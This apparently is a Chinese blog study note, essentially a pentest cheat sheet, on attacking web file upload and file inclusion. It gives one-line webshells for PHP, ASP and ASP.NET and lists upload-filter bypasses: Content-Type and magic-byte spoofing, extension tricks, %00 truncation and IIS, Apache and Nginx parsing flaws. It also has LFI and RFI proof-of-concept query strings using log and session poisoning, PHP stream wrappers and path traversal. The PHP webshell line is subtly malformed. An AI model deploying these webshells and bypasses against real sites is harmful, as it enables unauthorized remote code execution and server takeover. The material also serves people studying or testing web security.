学习笔记-文件上传&&包含

文件上传

一句话木马

PHP

<?php @eval($_POST["oatmeal"];?>

ASP

<%eval request("oatmeal")%>

ASP.NET

<%@ Page Language="Jscript"%><%eval(Request.Item["oatmeal"], "unsafe");%>

WAF绕过

客户端Javascript验证

使用Burp直接发送请求包

页面修改函数,或者直接通过noscript禁言Javascript

客户端MIME类型验证

修改Content-Type

  • GIF类型:image/gif
  • JPG类型:image/jpeg
  • PNG类型:image/png

文件头验证

修改文件幻数

  • JPG:FF D8 FF E0 00 10 4A 46 49 46
  • GIF:47 49 46 38 39 61 (GIF89a)
  • PNG:89 50 4E 47

黑名单绕过

  • 后缀名大小写
  • 寻找没有被禁用的文件类型
    • php/php2/php3/php4/php5/phtml
    • asp/aspx/asa/cer

%00截断

chr(0)为空字符NULL。在程序输出含有%00的变量时,后面的数据会被停止,%00被当做结束符。

在文件上传中,利用%00截断,在扩展名验证时,是取文件的拓展名验证,但是最后文件保存在本地时,%00会截断文件名,只保存之前的内容。

白名单

从操作系统特性和服务器解析漏洞来分析。

  • Apache中.htaccess写入文件解析脚本
  • 在Windows中,当空格、.(句点)、[%80-%99]放在文件结尾时,生成文件会被去除。
  • Apache解析漏洞:apache解析文件规则是从右到左。当最右边的文文件类型不被识别时,再识别左边的文件类型。
  • IIS6.0解析漏洞
    • 目录解析:目录名为.asp、.asa、.cer,则目录下的所有文件都会被当做ASP文件解析。例如url/test.asp/shell.jpg会被当做asp脚本运行。
    • 文件解析:文件名中分号后不被解析,例如url/test.asp;shell.jpg会被当做asp脚本执行。
    • 文件类型解析:.asa/.cer/.cdx会被当做asp文件执行。
  • Nginx解析漏洞:PHP+nginx默认以cgi方式运行,当Nginx以FastCGI运行,且cgi.fix_pathinfo=1(全版本PHP默认开启)时,访问url/shell.jpg/shell.php时,shell.jpg会被当做php执行。
  • Nginx文件名逻辑漏洞(CVE-2013-4547)

文件包含

相关函数

  • include()
  • require()
  • include_once()
  • require_once()

文件包含分类

  • 本地文件包含LFI(Local File Include)
  • 远程文件包含RFI(Remote File Include)

PHP文件包含环境变量

  • allow_url_fopen=On(默认为On) :规定是否允许从远程服务器或者网站检索数据。
  • allow_url_include=On(PHP5.2后默认为off):规定是否允许include/require远程文件

漏洞利用

file:// 与直接包含

file:///etc/passwd
/etc/passwd

http://

http://example.com/phpinfo.php

包含上传文件

file=uploads/xxx.php

包含日志文件

可以根据访问日志的内容,精心构造HTTP请求,把PHP代码插入到日志文件中,通过文件包含漏洞执行日志中的PHP代码。

默认日志常见存储目录

  • var/log/apache2/access.log
  • var/log/apache/access.log
  • var/log/apache/error.log
  • var/log/vsftpd.log
  • var/log/sshd.log
  • var/log/mail

利用条件

  • 知道日志文件存储目录
  • 对日志文件可读

一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf/nginx.conf…)或者根据phpinfo()得知。

包含Session

尝试包含Session文件,根据文件类容寻找可控变量,构造payload插入文件中,最后包含。

默认存储路径

  • /tmp/
  • /tmp/sessions/
  • /var/lib/php5/
  • var/lib/php/
  • session文件格式:sess_[your phpssessid value]

利用条件

  • 找到Session内可控变量
  • Session文件可读写,且知道存储路径

PHP伪协议

php://input

php://input可以获取POST的数据流。当他与包含函数结合时,php://input会被当做php文件执行。从而导致任意代码执行。

php.ini

allow_url_fopen=Off/On
allow_url_include=On

POC

?file=php://input

[POST DATA] <?php phpinfo() ?>

php://filter

获取指定文件源码。与包含函数结合时,会被当做php执行。一般对其编码,让其不执行。

php.ini

allow_url_fopen=Off/On
allow_url_include=Off/On

POC

?file=php://filter/read=convert.base64-encode/resource=index.php

zip://

zip://可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行,从而实现任意代码执行。
• 只需要是zip的压缩包即可,后缀名可以任意更改。
• 相同的类型的还有zlib://和bzip2://

php.ini

allow_url_fopen=Off/On
allow_url_include=Off/On
php >= 5.2

POC

zip://[压缩包绝对路径]#[压缩包内文件]

?file=zip://D:\zip.jpg%23phpinfo.txt

phar://

phar://有点类似zip://同样可以导致 任意代码执行。
• phar://中相对路径和绝对路径都可以使用

php.ini

allow_url_fopen=Off/On
allow_url_include=Off/On
php >= 5.3

POC

?file=phar://zip.jpg/phpinfo.txt
?file=phar://D:\zip.jpg\phpinfo.txt

data://

data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致 任意代码执行。

php.ini

allow_url_fopen=On
allow_url_include=On
php >= 5.2

POC

data://[<MIME-type>][;charset=<encoding>][;base64],<data>
?file=data://,<?php phpinfo();
?file=data://text/plain,<?php phpinfo();
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
?file=data:text/plain,<?php phpinfo();
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

其他包含姿势

• LFI + 可控PHPSESSID = RCE
• LFI + session.upload_progress.enabled
• LFI + PHP自包含生成临时文件
• LFI + PHP7 bug 生成临时文件
• 包含SMTP(日志)
• 包含xss
• 包含/pros/self/environ

漏洞绕过

前缀绕过

目录遍历

使用../../来返回上一目录,被成为目录遍历(Path Traversal)。

?file=../../phpinfo/phpinfo.php

后缀绕过

利用URL

完整url格式:

protocol :// hostname[:port] / path / [;parameters][?query]#fragment

query(?)

[访问参数] ?file=http://localhost:8088/phpinfo.php?
[拼接后] ?file=http://localhost:8088/phpinfo.php?.php

fragment(#)

[访问参数] ?file=http://localhost:8088/phpinfo.php%23
[拼接后] ?file=http://localhost:8088/phpinfo.php#.php

利用协议

利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇